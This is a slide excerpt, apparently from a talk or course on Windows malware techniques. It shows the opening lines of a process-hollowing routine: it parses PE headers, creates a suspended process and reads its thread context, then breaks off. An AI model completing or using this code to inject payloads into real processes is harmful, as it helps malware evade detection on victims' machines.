Slide 34
Slide 34 text
DOSHeader = PIMAGE_DOS_HEADER(Image);
NtHeader = PIMAGE_NT_HEADERS(
DWORD(Image) + DOSHeader->e_lfanew
);
// process in suspended state, for the new image.
if (CreateProcessA(
path, 0, 0, 0, 0, CREATE_SUSPENDED, 0, 0, &SI, &PI)) {
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {
//if context is in thread
...